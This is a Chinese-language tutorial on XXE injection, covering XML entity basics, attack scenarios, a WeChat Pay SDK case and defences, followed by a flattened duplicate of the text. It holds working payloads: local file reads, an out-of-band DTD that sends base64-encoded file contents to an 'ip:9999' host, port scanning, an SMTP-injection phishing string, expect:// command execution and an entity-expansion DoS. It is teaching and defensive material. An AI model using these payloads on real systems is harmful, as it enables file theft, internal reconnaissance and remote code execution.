一篇文章带你深入理解漏洞之 XXE 漏洞
字数 1295 2025-08-27 12:33:43

XXE漏洞深入理解与利用指南

一、XXE漏洞概述

XXE(XML External Entity Injection)全称为XML外部实体注入,是一种注入漏洞,攻击者通过注入恶意的外部实体来攻击XML解析器。

与普通XML注入的区别

  • 普通XML注入利用面较窄,多为逻辑漏洞
  • XXE通过注入外部实体大大拓宽了攻击面

二、XML基础知识

XML文档结构

XML文档由DTD(Document Type Definition)控制格式规范:

<?xml version="1.0"?>
<!DOCTYPE message [
  <!ELEMENT message (receiver, sender, header, msg)>
  <!ELEMENT receiver (#PCDATA)>
  <!ELEMENT sender (#PCDATA)>
  <!ELEMENT header (#PCDATA)>
  <!ELEMENT msg (#PCDATA)>
]>

实体类型

  1. 内部实体:在DTD中直接定义

    <!ENTITY xxe "test">
    
  2. 外部实体:从外部DTD文件引用

    <!ENTITY xxe SYSTEM "file:///c:/test.dtd">
    
  3. 公用DTD引用

    <!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
    

实体分类

  1. 通用实体

    • &实体名;引用
    • 在DTD中定义,在XML文档中引用
  2. 参数实体

    • 使用% 实体名定义(空格不能少)
    • 只能在DTD中使用%实体名;引用
    • 可以外部引用
    • 在Blind XXE中起关键作用

三、XXE攻击利用场景

1. 有回显读取本地敏感文件(Normal XXE)

<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>

Payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
  <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini">
]>
<creds>&goodies;</creds>

特殊字符处理
使用CDATA包裹内容避免XML格式错误:

<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd;

2. 无回显读取文件(Blind OOB XXE)

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:9999?p=%file;'>">

Payload

<!DOCTYPE convert [
  <!ENTITY % remote SYSTEM "http://ip/test.dtd">
  %remote;
  %int;
  %send;
]>

3. HTTP内网主机探测

通过读取网络配置文件获取内网信息:

  • /etc/network/interfaces
  • /proc/net/arp
  • /etc/host

4. HTTP内网主机端口扫描

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [
  <!ELEMENT data (#PCDATA)>
]>
<data>4</data>

5. 内网盲注(CTF)

通过XXE进行内网SQL盲注,需要动态修改远程DTD文件。

6. 文件上传(Java特有)

利用jar://协议:

<!DOCTYPE convert [
  <!ENTITY remote SYSTEM "jar:http://localhost:9999/jar.zip!/wm.php">
]>
<convert>&remote;</convert>

jar协议处理过程

  1. 下载jar/zip文件到临时文件
  2. 提取指定文件
  3. 删除临时文件

7. 钓鱼攻击

利用ftp协议结合CRLF注入SMTP命令:

ftp://a%0D%0AEHLO%20a%0D%0AMAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0ARCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0ADATA%0D%0AFrom%3A%20support%40VULNERABLESYSTEM.com%0ATo%3A%20victim%40gmail.com%0ASubject%3A%20test%0A%0Atest!%0A%0D%0A.%0D%0AQUIT%0D%0A:a@VULNERABLESYSTEM.com:25

8. 其他利用方式

  • PHP expect RCE

    <!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
    
  • DoS攻击

    <!ENTITY lol "lol">
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    

四、XXE常见出现场景

1. Web服务API接口

接受XML格式输入的API接口,特别是Java实现的接口。

2. 微信支付XXE漏洞案例

Java SDK的WXPayUtil.xmlToMap方法未做安全防护:

DocumentBuilder documentBuilder = WXPayXmlUtil.newDocumentBuilder();
InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
org.w3c.dom.Document doc = documentBuilder.parse(stream);

3. JSON content-type XXE

当服务器同时支持JSON和XML时,修改Content-Type为application/xml进行攻击。

五、XXE防御方案

1. 禁用外部实体

  • PHP

    libxml_disable_entity_loader(true);
    
  • Java

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    
  • Python

    from lxml import etree
    xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))
    

2. 黑名单过滤(不推荐)

过滤关键词:<!DOCTYPE<!ENTITY SYSTEMPUBLIC

六、特殊协议与技巧

  1. Java中的netdoc协议:可替代file协议

    <!ENTITY xxe SYSTEM "netdoc:///etc/passwd">
    
  2. 文件过大处理:使用PHP过滤器压缩

    echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd");
    
  3. jar协议临时文件利用:通过报错获取临时文件路径

七、总结

XXE漏洞利用面广,从文件读取到内网探测,再到RCE都有可能。关键在于:

  1. 理解XML实体机制,特别是外部实体和参数实体
  2. 掌握不同环境下的协议利用(file、http、jar、netdoc等)
  3. 针对无回显场景使用OOB技术
  4. 了解不同语言的防御方法

你的知识面,决定着你的攻击面。

XXE漏洞深入理解与利用指南 一、XXE漏洞概述 XXE(XML External Entity Injection)全称为XML外部实体注入,是一种注入漏洞,攻击者通过注入恶意的外部实体来攻击XML解析器。 与普通XML注入的区别 普通XML注入利用面较窄,多为逻辑漏洞 XXE通过注入外部实体大大拓宽了攻击面 二、XML基础知识 XML文档结构 XML文档由DTD(Document Type Definition)控制格式规范: 实体类型 内部实体 :在DTD中直接定义 外部实体 :从外部DTD文件引用 公用DTD引用 实体分类 通用实体 : 用 &实体名; 引用 在DTD中定义,在XML文档中引用 参数实体 : 使用 % 实体名 定义(空格不能少) 只能在DTD中使用 %实体名; 引用 可以外部引用 在Blind XXE中起关键作用 三、XXE攻击利用场景 1. 有回显读取本地敏感文件(Normal XXE) Payload : 特殊字符处理 : 使用CDATA包裹内容避免XML格式错误: 2. 无回显读取文件(Blind OOB XXE) test.dtd : Payload : 3. HTTP内网主机探测 通过读取网络配置文件获取内网信息: /etc/network/interfaces /proc/net/arp /etc/host 4. HTTP内网主机端口扫描 5. 内网盲注(CTF) 通过XXE进行内网SQL盲注,需要动态修改远程DTD文件。 6. 文件上传(Java特有) 利用 jar:// 协议: jar协议处理过程 : 下载jar/zip文件到临时文件 提取指定文件 删除临时文件 7. 钓鱼攻击 利用ftp协议结合CRLF注入SMTP命令: 8. 其他利用方式 PHP expect RCE : DoS攻击 : 四、XXE常见出现场景 1. Web服务API接口 接受XML格式输入的API接口,特别是Java实现的接口。 2. 微信支付XXE漏洞案例 Java SDK的 WXPayUtil.xmlToMap 方法未做安全防护: 3. JSON content-type XXE 当服务器同时支持JSON和XML时,修改Content-Type为 application/xml 进行攻击。 五、XXE防御方案 1. 禁用外部实体 PHP : Java : Python : 2. 黑名单过滤(不推荐) 过滤关键词: <!DOCTYPE 、 <!ENTITY SYSTEM 、 PUBLIC 六、特殊协议与技巧 Java中的netdoc协议 :可替代file协议 文件过大处理 :使用PHP过滤器压缩 jar协议临时文件利用 :通过报错获取临时文件路径 七、总结 XXE漏洞利用面广,从文件读取到内网探测,再到RCE都有可能。关键在于: 理解XML实体机制,特别是外部实体和参数实体 掌握不同环境下的协议利用(file、http、jar、netdoc等) 针对无回显场景使用OOB技术 了解不同语言的防御方法 你的知识面,决定着你的攻击面。